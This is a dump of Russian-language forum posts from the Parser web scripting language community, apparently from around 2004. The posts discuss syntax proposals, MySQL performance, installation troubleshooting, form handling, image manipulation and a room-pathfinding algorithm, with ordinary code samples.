"32030","Предлагаю в офф-лайн документации код расркрашивать не двумя цветами (синим и черным), а точно так же как и в [url=\"http://www.parser.ru/faq/\"]FAQ[/url] / [url=\"http://www.parser.ru/examples/\"]примерах[/url] / и здесь, в форуме. Будет гораздо более удобочитаемо."
"32031","Начну с примера:\
\
[code]\
<table border=\"1\">\
^table1.menu{\
	<tr>\
		<td>$table1.field1</td>\
		<td>$table1.field2</td>\
		<td>$table1.field3</td>\
	</tr>\
}\
</table>\
[/code]\
\
Если название таблицы длинное и/или составное (например, таблица находиться внутри хэша) тогда для использования значений текущего поля таблицы приходиться каждый раз писать это название. Предлагаю разрешить сокращенную запись имен полей, например так:\
\
[code]\
<table border=\"1\">\
^table1.menu{\
	<tr>\
		<td>$.field1</td>\
		<td>$.field2</td>\
		<td>$.field3</td>\
	</tr>\
}\
</table>\
[/code]\
\
Приведу пример по применению. Правда названия там не длинные, т.к. и сам пример не сложный:\
\
[code]\
# Создаем таблицы...\
$forum[^table::create{id	uri	title\
1	parser/	Parser\
2	php/	PHP\
3	mysql/	MySQL\
}]\
$topic[^table::create{forum_id	uri	title\
1	trees/	Посторение деревьев\
1	regexp/	Регулярные выражения\
1	tables/	Работа с таблицами\
2	parser/	Вопросы спецления с Parser-ом\
3	select/	Выборка записей\
3	insert/	Добавление записей}]\
\
# ...и выводим их:\
<table border=\"1\">\
	<tr>\
		<th>Форум</th>\
		<th>Темы</th>\
	</tr>\
\
# Сейчас приходиться много раз писать одно и тоже (в данном случае «$forum.» и «$topic.»)\
# Пока названия короткие — без проблем, но когда названия становятся длиннее...\
^forum.menu{\
	<tr>\
		<td><a href=\"/forum/$forum.uri\">$forum.title</a></td>\
		<td>\
			<ul>\
			^topic.menu{\
				^if($topic.forum_id eq $forum.id){\
					<li><a href=\"/forum/${forum.uri}$topic.uri\">$topic.title</a></li>\
				}\
			}\
			</ul>\
		</td>\
	</tr>\
}\
</table>\
[/code]\
\
Вот как предлагаю сделать я:\
(ну или что-то вроде этого)\
\
[code]\
^forum.menu{\
	<tr>\
		<td><a href=\"/forum/$.uri\">$.title</a></td>\
		<td>\
			<ul>\
			^topic.menu{\
				^if($.forum_id eq $..id){\
					<li><a href=\"/forum/${..uri}$.uri\">$.title</a></li>\
				}\
			}\
			</ul>\
		</td>\
	</tr>\
}\
</table>\
[/code]\
\
Или даже не только в menu использовать подобные сокращения, а например еще и в select:\
\
[code]\
# Сейчас есть:\
$thoseAbove20[^men.select($men.age>20)]\
# Я предлагаю:\
$thoseAbove20[^men.select($.age>20)]\
[/code]\
\
Подобная реализация используется в XSLT:\
\
[code]\
<xsl:template match=\"link\">\
	<a href=\"{@href}\"><xsl:value-of select=\".\" /></a>\
</xsl:template>\
[/code]\
\
\
Может быть я несколько не удачно предложил сокращать запись ($..field), но идея, я думаю, ясна. Кто-нибудь со мной согласен? :)"
"32032","[code]\
@create_authors[]\
^dbconnect{\
  $result[^table::sql{\
    select id, name, email\
      from table\
      	}]\
}\
[/code]\
\
А потом хоть обвызывайтесь...\
[code]\
  $sozd_class[^class::load[^create_authors[]]]\
[/code]\
\
p.s. Но если вдруг захочется сделать еще пару таких классов, то получим лишние запросы к БД. Так что лучше кидать в переменную, а ее передавать конструкторам.\
p.p.s. Не надо бездумно стремится к минимизации кода ради \"меньшей писанины\". Жертвами могут стать: читаемость кода, гибкость и удобство отладки, а как следствие и эффективоность."
"32033","... представьте такую ситуацию:\
[code]\
  ^first.menu{\
    ^second.menu{\
      ^third.menu{\
         $.id\
#        И какое значение мы здесь получим?\
#        Если знаем, что во всех трех таблицах\
#        есть колонка \"id\".\
      }\
    }\
  }\
[/code]"
"32034","В конструкторе класса пишу -\
[code]\
^MAIN:create_authors[]\
$_authors[$MAIN:authors]\
[/code]\
\
а затем в классе пользуюсь -\
^_authors.menu{ и т.д.}\
\
Но получается, что если\
поместить создание этой\
таблицы в метод [b]@auto[][/b]\
то подключение и выборка из базы\
будет одно, а в моем случае (выше)\
при каждом таком обращении.\
Я прав?"
"32035","Собственно все уже не раз пройдена в других языках [пример: оператор with в Паскале]."
"32037","В своем примере я такой вариант разбирал, только не три вложенных, а два, но разницы нету, только еще одна точка добавляется. То есть получается так:\
\
[code]\
^first.menu{\
  ^second.menu{\
    ^third.menu{\
       $.id\
#      Получим значение $third.id\
       $..id\
#      Получим значение $second.id\
       $...id\
#      Получим значение $first.id\
    }\
  }\
}\
[/code]"
"32039","Да я и пытаюсь все сразу предусмотреть..."
"32040","Если можете — приведите пример. Я не смог даже придумать такого."
"32041","?????\
Я вас не понимаю..\
Я ответ долго писал, поэтому он появился после вашего"
"32042","... чтобы конструкции могли интерпретироваться однозначно в любой ситуации. \
\
p.s. А примеров на вложенные циклы может быть масса, и это совершенно не принципиально."
"32043","http://www.yandex.ru/yandsearch?text=%E8%ED%EA%E0%EF%F1%F3%EB%FF%F6%E8%FF&stype="
"32044","..проще посчитать кол-во точек и просмотреть в верх на это кол-во точек вложенность menu, мне кажется, нежели разбираться в длинных и сложных названиях.\
\
К тому же я не настаиваю на использовании точек, может быть как-то еще. Я не знаю.\
\
И почему бы не допустить возможность использования и с сокращениями, и без них? В большинстве случаев будет удобно с сокращениями. Тот же select."
"32045","Можете не верить, но через год Вы в этом коде не разберетесь. И уж поверьте, что при подсчете количества точек ошибаться будете постоянно. Может быть имеет смысл подумать как более грамотно организовать структуры данных, чтобы в названии переменных не вылезалао по полтора десяток точек? :)\
\
p.s. Навеяло:\
[code]\
  ^first.menu{\
    $code{$..field}\
    ^second.menu{\
      $code\
    }\
    $code\
  }\
[/code]"
"32046","[code]\
   ^first.menu{\
     ^second.menu{\
        $..field\
     }\
   }\
[/code]\
\
а потом добавляем еще немного...\
[code]\
   ^first.menu{\
     ^third.menu{\
        ^second.menu{\
           $..field\
        }\
     }\
   }\
[/code]\
\
И что теперь прикажете делать: точки перебивать?"
"32047","Я и с Вами согласен на счет десятка точк и приведенного примера.\
\
Но все же, возвращаясь к селекту — ведь проще писать\
\
[code]\
^table.select($.field ...)\
[/code]\
\
Разве нет?"
"32049","Зачем вводить лишнюю синтаксическую конструкцию ради одного метода? Что это даст? Экономию 1 сек на набивку кода?"
"32050","Я сделал как вы сказали, но неполучается вывести картинку в нужном месте, а если я пытаюсь сделать как в ворде то заголовки вообще не передаются\
[code]\
^mail:send[\
    $.from[Вася <...@hotmail.ru>]\
    $.to[Петя <...@yandex.ru>]\
    $.subject[как дела]\
    $.html{Как у тебя дела? У меня <b>изумительно</b>!<br>\
	<img src=\"rwg.jpg\">\
	}\
    $.file[\
		$.value[^file::load[binary;wg.jpg]]\
		$.name[rwg.jpg]\
	]\
]\
[/code]"
"32051","Так сильно ухудшается читабельность - наверно одно из важнейщих свойств языка."
"32052","Такая проблема:\
имеется текстовое поле (textarea), пользователь вводит туда информацию, разделяя строки, затем эта информация помещается в бд. При извлечении из базы данных этой информации переходы на новую строку сделанные пользователем теряются. Пробовал ставить атрибут поля wrap=\"physical\" - не помогает."
"32062","1. В одной около пяти (5) тысяч, в другой около тринадцати (13) тысяч. Размер каждой таблицы -- 1,5 МБ, т.е. общий размер базы данных -- 3,0 МБ. Сам сервер довольно старый (зато выделенный), Pentium II 350MHz, 128 MB RAM. На той странице, результаты которой я приводил, выводятся сразу 325 записей.  \
\
2. В одной таблице всё правильно, в другой -- нет. ;-) Попробую исправить. \
\
3. Соединяю по двум полям (cName, cNumber), первое поле вообще может принимать только 127 разных значений (будет ли смысл использовать ENUM, или mysql 4.0 уже автоматически оптимизирует таблицу для такого случая?): \
[code]\
	`cName` CHAR (4), \
	`cNumber` SMALLINT(4)  UNSIGNED ZEROFILL, \
[/code]"
"32063","[quot]\
3. Соединяю по двум полям (cName, cNumber)...\
`cName` CHAR (4), \
`cNumber` SMALLINT(4)  UNSIGNED ZEROFILL, \
[/quot]\
\
не понял. в каждой таблице по два поля или в одной таблице char, а в другой smallint?\
\
если второе, то этот пример прямо для вас: http://dev.mysql.com/doc/mysql/ru/EXPLAIN.html\
\
P.S. explain рулит. по моему проще привести полностью структуру таблиц, запрос и результаты explain...\
\
P.P.S. еще раз: время 1 сек - [b]огромное[/b]. что-то в БД не так."
"32065","создал правильные индексы, теперь вместо 1,02 занимает всего 0,62 секунд. Лучше? ;-) Или опять плохо? Стоит ли экспериментировать с ENUM?"
"32066","это ОЧЕНЬ МНОГО.\
\
P.S. посмотрите P.S. в моем предыдущем сообщении. гадать я больше не буду."
"32067","Я нашёл в чём проблема! Большая часть времени тратиться на вывод таблицы парсером. Когда я закомментировал все ^.menu{}, то страница начала создаваться за 0,25 секунд против 0,56 с выводом результатов. \
\
Очевидно, парсер очень ресурсоёмкий: я вывожу все до единого поля, которые я взял из sql, размер выдаваемого HTML-файла на нашем любимом запросе -- всего 100 килобайт (выводятся 325 записей). \
\
Другая страница, с тем же запросом, но с намного меньшим количеством результатов (другое значение у $form:uri4) имеет показатель 0,08, так что база данных сейчас должна быть в порядке. \
\
Вот код, я исключил только то, что я выбираю, так как там очень много кода, фактически, всё форматирование идёт на sql:\
[code]\
$offers[^table::sql{\
  SELECT \
	$separateThingsToSelect\
\
$fromWhere[\
  FROM \
    `catalogue_course_description` as catalogue, \
    `course_offerings` as offer\
  WHERE \
    (\
      (catalogue.cName = offer.cName)\
        AND\
      (catalogue.cNumber = offer.cNumber)\
    )\
    AND\
    (\
    `course_year` = ^form:uri2.int[]\
      AND\
    `course_term` = '^form:uri3.match[_][g]{ }'\
      AND\
    `offer`.`cName` = '$form:uri4'\
    )\
]\
$fromWhere\
}]\
\
\
$catalogue[^table::sql{\
  SELECT \
\
	$commonThingsToSelect,\
\
	COUNT(CONCAT(offer.cName, offer.cNumber)) as `offers`\
$fromWhere\
  GROUP BY offer.cName, offer.cNumber\
\
}]\
\
$offersColumns[^offers.columns[]]\
$catalogueColumns[^catalogue.columns[]]\
\
$catalogueColumns[^catalogueColumns.select($catalogueColumns.column ne \"offers\")]\
\
\
\
\
<table border=\"1\">\
\
<tr>\
  ^catalogueColumns.menu{\
    ^switch[$catalogueColumns.column]{\
	^case[Title]{		<th style='width:12em^;'>$catalogueColumns.column</th>}\
	^case[Description]{	<th style='width:16em^;'>$catalogueColumns.column</th>}\
	^case[DEFAULT]{^untaint{<th>$catalogueColumns.column</th>}}\
    }\
  }\
  ^offersColumns.menu{^untaint{<th>$offersColumns.column</th>}}\
</tr>\
\
\
\
#initialise\
$offersLeft($catalogue.offers)\
$showCommon($offersLeft)\
\
\
^offers.menu{\
\
<tr>\
\
^if($showCommon){\
	^if($showCommon > 1){\
		$tdParam[ rowspan=\"$showCommon\" valign=\"top\"]\
	}{\
		$tdParam[]\
	}\
	^catalogueColumns.menu{\
		^untaint{<td$tdParam>$catalogue.[$catalogueColumns.column]</td>}\
	}\
}\
\
^offersColumns.menu{\
	^untaint{<td>$offers.[$offersColumns.column]</td>}\
}\
\
</tr>\
	^offersLeft.dec[]\
\
	^if($offersLeft == 0){\
		^catalogue.offset(1)\
		$offersLeft($catalogue.offers)\
		$showCommon($offersLeft)\
	}{\
		$showCommon(0)\
	}\
\
}\
\
\
\
\
<tr>\
<td colspan='^eval( ^catalogueColumns.count[] + ^offersColumns.count[] )'>Total number of offerings: ^offers.count[]</td>\
</tr>\
</table>\
\
[/code]"
"32069","teper' _test.html rabotaet. sna4ala vidoval mnogo oshibok koe 4to podpravil ru4kami v auto.p stal vidovat' men'she oshibok... vot kakie ostalis':\
1) mysql	$sqldriversdir/libparser3mysql.so (61988 b)	libmysqlclient.so (relative path. [color=\"#ff0000\"]testing impossible[/color])\
2) $CLASS_PATH: [color=\"#ff0000\"]undefined[/color]\
3) ^int:sql{SELECT 2+2}: [color=\"#ff0000\"]Problems with SQL operations.[/color] Probably SQL drivers not found.\
Error message:\
\
    driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
    $sqldriversdir/libparser3mysql.so\
--------------------------------------------\
Vot tak vot. 4ot s etim delat'?\
i pervij urok ne rabotaet. pishet mne sovsem zhutkuju oshibku! :)\
----------\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, mail@admina.lv and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception."
"32071","... только я вам её не отдам, у вас докУментов нет... (насколько я понял это ваша точка зрения по поводу показывания структуры таблиц, структуры индексов и результатов explain)\
\
ну нет так нет, только если course_year имеет тип \"число\", то кавычки лучше убрать.\
\
P.S. есть ещё некоторые сомнения, но тыкать пальцем вслепую лень."
"32072","Вас очеень тяжело читать, попробуйте набирать вот здесь http://www.yandex.ru/keyboard_qwerty.html"
"32073","...или, если в Яндексе долго тыкаться, можете скачайть полюбившуюся утилитку из разряда транслитераторов и пользоваться ей, и себе проблем будет меньше и людям. ;)"
"32074","Есть форма, там две радиокнопи.\
[code]<input type=\"radio\" name=\"y_cost\" checked value=\"1\">Указать цену<br>\
<input type=\"radio\" name=\"y_cost\" value=\"0\">Не указывать цену<br>\
[/code]\
Вопрос как сделать, чтобы парсер обработал эти значения без нажатия кнопки.\
Т.е если пользоваетель поставил кнопку один создается текстовое поле, если не поставил, то но не создается"
"32075","[url=\"http://www.artlebedev.ru/tools/decoder/\"]совсем рядом[/url] есть неплохая штуковина, транслит декодирует на раз.\
правда тем кто привык писАть букву [b]ч[/b] как [b]4[/b]  придётся нелегко, но это уже их проблемы..."
"32077","Ставите на событие [b]onclick[/b] что-нибудь вроде [b]document.all['textovoepole'].style.dysplay='inline'[/b] (или none, в зависимости от нажатой кнопки), а у текстового поля, в свою очередь, прописываете [b]id=\"textovoepole\" style=\"display:none\"[/b]\
\
Так кажется это делается. А вообще-то Вам об этом очень подробно расскажут на xpoint-е: http://xpoint.ru/forums/programming/javascript/index.xhtml"
"32078","Если в форме есть select, а в нем соответсвтенно option-ы, то по сабмиту я получаю не имя option-а, а значение. Что делать? Как получить имя? Даже не имя, а id. Поможите?"
"32079","приветствую многоуважаемого ALL\
\
возможно ли с помощью только средств Парсера вырезать кусок картинки? Дело в том, что в исходной картинке есть прозрачный фон.\
Размер конечной картинки заранее неизвестен, будет использоваться .text метод.\
\
как я вижу последовательность:\
1. взять темплейт картинки (длина картинки необходимая и достаточная для довольно извращенных пользователей)\
[code]$i1[^image::load[template.gif]][/code]\
\
2. загрузить шрифт\
[code]^i1.font[ABC....и так далее весь набор букв...012...;impact_off.gif](10)[/code]\
\
3. написать что надо\
[code]^i1.text(9;24)[ляляля-жужужу][/code]\
\
4. вырезать из этой картинки кусок такой-же высоты и соотв. длины ([code]$ilength(^eval(^i1.length[ляляля-жужужу]+18))[/code])\
вот тут у меня ступор... методу .copy нужен конечный обьект класса image соотв. размера, а где мне взять этот обьект?\
брать темплейт и изменять размер до нужного? но изменение опять-же через .copy делается, а ему опять нужен обьект класса image... цикл какой-то\
может и не цикл, но я не смог изменить размер этого-же обьекта\
[code]\
$i2[^image::measure[tpixel.gif]]\
^i2.copy[$i2]{0;0;1;1;0;0;$ilength;50}\
[/code]\
\
\
как быть?\
знаю, через ImageMagik все красиво и великолепно, но неужели такая задача не под силу парсеру?"
"32081","Подумал, вероятно, кто-то уже занимался написанием чего-нибудь подобного jUnit'у для парсера?"
"32082","Ок, большое всем спасибо за советы про декодеры, а по сушеству? :) так сказать по топику. что мне теперь делать с моим ПАРСЕРОМ?"
"32083","Подскажите пожалуйста алгоритм. Задачка следующая. \
Есть карта с комнатами (схематично ниже =] ), между некоторыми есть переходы, между некоторыми нет. Надо отыскать путь из любой выбранной комнаты в любую.\
Я сделал таблицу со всеми \"дверьми\" комнат:\
[code]\
id  from to\
1   1    2\
2   1    5\
3   2    1\
4   3    7\
5   4    8\
6   5    1\
7   5    9..\
[/code]\
и так все.\
\
Но дальше, как бы я не вызывал рекурсивно функцию она выдает ошибку endless рекурсии..\
Подскажите, плз..\
\
[code]\
.---. .---. .---. .---.\
| 1 |=| 2 | | 3 | | 4 |\
.-|-. .---. .-|-. .-|-.\
.-|-. .---. .-|-. .-|-.\
| 5 | | 6 |=| 7 |=| 8 |\
.-|-. .-|-. .---. .-|-.\
.-|-. .-|-. .---. .-|-.\
| 9 |=| 10| | 11|=| 12|\
.---. .---. .---. .---.\
[/code]"
"32084","Для начала, грубо, получилась следующая функция:\
[code]\
@find[f;t][tbl]\
$tbl[^table::sql{select * from tower where _from = $f}]\
^if($f == $t){$ok[1]}\
^if($ok == 0){\
^tab.append{$f}\
  ^tbl.menu{\
    ^if(!^tab.locate[old;$tbl._to]){\
    ^find[$tbl._to;$t]}\
  }\
}\
[/code]\
, но вопрос в том, как сохранить только правильный путь и отбросить ветви приводящие в тупик?\
Да, комнат всего 60, а не 12 как в примере, так что есть тупики.."
"32085","Решил расписать немного поподробней.\
Парсер установлен точно по инструкции (так все пишут) :)\
Тестовая страница находится [url=\"http://yappo.eurohosting.lv/_test.html\"]тут[/url]:\
Главная страница [url=\"http://yappo.eurohosting.lv/index.html\"]тут[/url]:\
И ниже привел свои файли sections.cfg,auto.p,index.html\
auto.p\
[code]@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>[/code]\
sections.cfg\
[code]section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
4	Цены	/price/\
5	Ваше мнение	/gbook/[/code]\
index.html\
[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\
</head>\
\
<body>\
^navigation[]\
</body>\
</html>\
[/code]\
Посмотрите пожалуйста! И дайте совет что делать\
Заранее благодарен"
"32086","id (если имеется ввиду аттрибут <input>) не передается из формы на сервер."
"32088","Парсерний лог видает вот что:\
[Sun Aug 15 21:51:11 2004] /index.html: /usr/local/psa/home/vhosts/eurohosting.lv/subdomains/yappo/httpdocs/index.html(11:2): 'navigation' undefined method [parser.runtime]"
"32089","изменил на debug mode и вот что появилось в index.html после refresh:\
undefined method  type: parser.runtime"
"32090","начальный пункт != конечному"
"32091","Ошибка находится в строке 11 символ №2\
в Файле /usr/local/psa/home/vhosts/eurohosting.lv/subdomains/yappo/httpdocs/index.html\
[b]Метод 'navigation' ненайден[/b]\
\
Ошибка появилась при вызове  /index.html"
"32092","а почему метод не найден? если он описан в файле auto.p\
auto.p:\
[code]\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>[/code]\
index.html\
[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\
</head>\
\
<body>\
2 * 2 = ^eval(2*2)\
^navigation[]\
</body>\
</html>\
[/code]\
Где же @ зарыта?"
"32096","например опечатка\
или ваш auto.p не выполняется (из-за кривого document root например. к тому-же вы забали сообщить о каком именно auto.p идет речь).\
\
для того, чтобы проверить, выполняется ли ваш auto.p добавьте в него:\
@auto[]\
^bug[]\
\
и если вы после очередной загрузки страницы увидите сообщение об ошибке что невозможно найти метод bug значит ваш auto.p выполняется."
"32098","но, конечно, отказались из-за путаницы с вложенными конструкциями.\
\
можно добавить ^with{}, однако C++, java, C# прекрасно обходятся без этого оператора, обойдёмся и мы."
"32100","Утром сегодня сел наконец и переделал класс TNavigation под себя.\
Возник лишь 1 вопрос: как в дереве ссылки верно собирать из кусков? Я пробовал крутить по-всякому, но решения не нашел. Прошу помочь с последней траблой.\
\
Таблица в БД:\
[code]\
id pid uri    title\
1  0   about/ О компании\
2  1   terms/ Условия использования материалов\
3  1   policy/Политика конфиденциальности\
[/code]\
Вот код всего класса. $MAIN:ENGINE.ROOT[/]\
[code]\
##############################\
# 16:33 13/08/2004 sly\
# Основано на TNavigation от Sumo\
##############################\
\
@CLASS\
TNavigationDB\
\
##############################\
# Запускаем\
@Init[]\
$sitename[$env:SERVER_NAME]\
$root[^GetSectionsByParent[0]]	^rem{ *** Корневые *** }\
$roll[^Roll[]]\
$tempuri[]\
\
##############################\
# Сдвиг для urisplit. Поэтому система будет работать не только в корне сайта\
@Roll[]\
$urisplit[^MAIN:ENGINE.ROOT.lsplit[/]]\
$result[^urisplit.count[]]\
\
##############################\
# Счетчик вложенных секций у указанного родителя\
@SectionsCount[pid][tempsection;count]\
# Вычисляем количество записей\
$count(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^tempsection.menu{\
	^if($tempsection.is_published){$count($count+1)}\
}\
$result[$count]\
\
##############################\
# Возвращает таблицу секций-детей. Возможен лимит\
@GetSectionsByParent[pid;limit]\
$result[^table::sql{\
		SELECT\
			id,\
			pid,\
			uri,\
			title,\
			is_published,\
			is_admin\
		FROM\
			sections\
		WHERE\
			^if(def $pid){pid = ^pid.int(0) AND}\
			is_published = 1\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]\
   \
##############################\
# \"Хлебные крошки\"\
@BreadCrops[]\
# Роемся в подразделах, чтобы выцепить текущий. После этого кидаем крошки\
# Инициализируем secondnav и записываем в него главную страницу\
$self.secondnav[^table::create{uri	title}]\
^self.secondnav.append{$MAIN:ENGINE.ROOT	$sitename}\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}$root.uri}	^taint[as-is][$root.title]}\
			}         \
			$currenturi[$root.uri]\
		}{			\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
				$currentid[$tempsection.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}${currenturi}$tempsection.uri}	^taint[as-is][$tempsection.title]}\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
^secondnav.menu{\
	^if(def $secondnav.uri){\
		<a href=\"$secondnav.uri\" class=secondnav>^taint[as-is][$secondnav.title]</a>\
	}{\
		<b>^taint[as-is][$secondnav.title]</b>\
	}\
}[&nbsp^;>&nbsp^;]\
\
##############################\
# Корневая навигация. Вынесено для удобства (обычно на всех страницах присутствует)\
@ShowRoot[]\
^root.menu{\
	^if($root.is_published){\
		^if($root.uri eq $request:uri){\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\"><b>^taint[as-is][$root.title]</b></a>\
		}{\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\">^taint[as-is][$root.title]</a>\
		}\
	}  \
}\
\
##############################\
# Подразделы\
@ShowSecondNav[][tempsection]\
^if($request:uri ne $MAIN:ENGINE.ROOT){\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit, чтобы вычислить id текущей секции\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
			}         \
			$currenturi[$root.uri]\
		}{\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
					$currentid[$tempsection.id]\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
$tempsection[^GetSectionsByParent[$currentid]]\
^tempsection.menu{\
	^if($tempsection.is_published){\
		^if($tempsection.uri eq $request:uri){\
			<a href=\"$tempsection.uri\"><b>^taint[as-is][$tempsection.title]</b></a>\
		}{\
			<a href=\"$tempsection.uri\">^taint[as-is][$tempsection.title]</a>\
		}\
	} 	\
}[<br>]\
}\
\
##############################\
# Дерево. Будет в XML. Рекурсия (метод вызывает сам себя)\
@ShowSectionsByParent[pid][tempsection]\
$tempsection[^GetSectionsByParent[$pid]]\
<ul>\
^tempsection.menu{\
        [b]^rem{ *** Как собирать $tempsection.uri??? *** }[/b]\
	^PrintTreeItem[$tempsection;^ShowSectionsByParent[$tempsection.id]]	\
}\
</ul>\
\
##############################\
# Пририсовать ветку\
@PrintTreeItem[tempsection;child]\
$result[<li><a href=\"${MAIN:ENGINE.ROOT}$tempsection.uri\">$tempsection.title</a>\
	^if(def $child){<ul>$child</ul>}\
</li>]\
[/code]\
\
Все остальное работает. Если где-то можно использовать хэш, чтоб не дергать БД лишний раз - ткните пальцем. Буду благодарен!"
"32102","У меня были такие ситуации для select, решал через дополнительную таблицу. Другого подхода не придумал...\
\
При создании формы:\
[code]\
$select_table[^table::load[select.cfg]]\
<select name=\"select_form\">\
^select_table.menu{\
 <option value=$select_table.id>$select_table.name</option> \
}\
</select>\
[/code]\
\
При разборе полученных значений формы:\
[code]\
$select_table[^table::load[select.cfg]]\
^if(^select_table.locate[id;$form:select_form]){\
 $name[$select_table.name]\
}\
[/code]\
\
Что-то типа этого..."
"32103","У меня был похожий курсовик лет 5 назад. Алгоритма не найду, не сохранился, но кое-что могу рассказать:\
\
1. Не берусь утверждать за оптимальность подхода, но теория предлагала нам решать такие задачи через матрицы смежности из теории графов. В вашем случае вершины графа это комнаты, а ребра двери меду ними. Матрица смежности это таблица, где в i-ой строке и j-ом столбце  стоит 1, если вершины i и j смежны. В вашем случае для вершин 1-2-3-4-5-6-7-8 имеем что-то типа:\
\
. 1 . . 1 . . .\
1 . . . . . . .\
. . . . . . 1 .\
. . . . . . . 1\
1 . . . . . . .\
. . . . . . 1 .\
. . 1 . . 1 . 1\
. . . 1 . . 1 .\
\
Вот с такими таблицами обычно работают в данных случаях.\
\
2. Я насколько помню обходился без рекурсии. Строил динамический массив путей, который в цикле продлевал по матрице смежности.\
\
3. Тупик очевидно при таком подходе - когда в строке матрицы нет единиц, кроме как в позиции, равной предыдущему пункту пути. \
\
Вообщем и целом - вам очевидно нужна теория графов. :)"
"32104","У меня такая же ситуация, спасибо за помощь :)"
"32105","по поводу опечаток...все проверил,все правильно.\
Изменил index.html на:\
[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\
</head>\
\
<body>\
^bug[]\
</body>\
</html>\
[/code]\
изменил auto.p на:\
[code]\
@bug[]\
^eval(2*2)\
[/code]\
P.S. все находится в одной директории (auto.p & index.html)\
Вот что видает ПАРСЕРний лог:\
[Mon Aug 16 16:32:09 2004] /: /usr/local/psa/home/vhosts/eurohosting.lv/subdomains/yappo/httpdocs/index.html(10:2): 'bug' undefined method [parser.runtime]\
---------------------\
[quot]или ваш auto.p не выполняется (из-за кривого document root например. [b]к тому-же вы забали сообщить о каком именно auto.p идет речь[/b]).[/quot]\
Где ето сообшать надо?"
"32106","Да"
"32107","- я где-нить написал, что надо определять @bug[]\
- я разве не писал куда именно надо добавить ^bug[]?\
\
теперь вы сообщили о каком auto.p вы говорите:\
[quot]\
P.S. все находится в одной директории (auto.p & index.html)\
[/quot]"
"32108","Извините не уловил. итак. сейчас мой auto.p (которий находится в одной папке с index.html, а он в свойу очередь в папке httpdocs сервера) виглядит так:\
[code]\
@auto[]\
^bug[]\
[/code]\
индех.хтмл:\
[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\
</head>\
\
<body>\
^navigation[]\
</body>\
</html>\
[/code]\
в папке цги-бин сервера лежит parser3.cgi,auto.p(стандартний) /lib/, /charsets/\
\
Parser log:\
[Mon Aug 16 17:16:17 2004] /: /usr/local/psa/home/vhosts/eurohosting.lv/subdomains/yappo/httpdocs/index.html(10:2): 'navigation' undefined method [parser.runtime]"
"32109","непонятно почему, скорее всего опечатка в имени файла либо с правами перестарались...\
\
попробуйте временно заменить в вашем index.html\
[code]^navigation[][/code]\
на\
[code]$file[^file::load[text;/auto.p]]\
$file.text[/code]\
\
и посмотреть что получится."
"32110","...но применительно к моему классу это мало поможет. Но главное - вопрос не в хэше или его отсутсвии. Вопрос в построении ссылок для полного дерева сайта. Тут нужен какой-то прием, которого я не знаю, но наверняка знают завсегдатаи форума. Вот тут я и прошу помощи..."
"32112","Заменил и вот что появилось:\
[b]яю@[/b]"
"32113","input type=\"image\" name=\"go\" src=\"/files/ok.gif\">\
^if(def $form:go){\
.....\
\
почему не распознается нажати кнопки"
"32114","ваша задачка -  это не что иное как классическая задача «Задача о кратчайших путях» на графах.\
\
Почитать для вас тут http://algolist.manual.ru/maths/graphs/index.php"
"32115","соответственно или лочите .x или сделайте hidden поле, а по нему и определяете, постят форму или нет (я делаю именно так)"
"32116","У mysql есть полезный оператор procedure analyse():\
\
select * from tblName procedure analyse();"
"32117","Хотелось бы увидеть сабжевую функцию , чтобы одну картинку можно было наносить на другую"
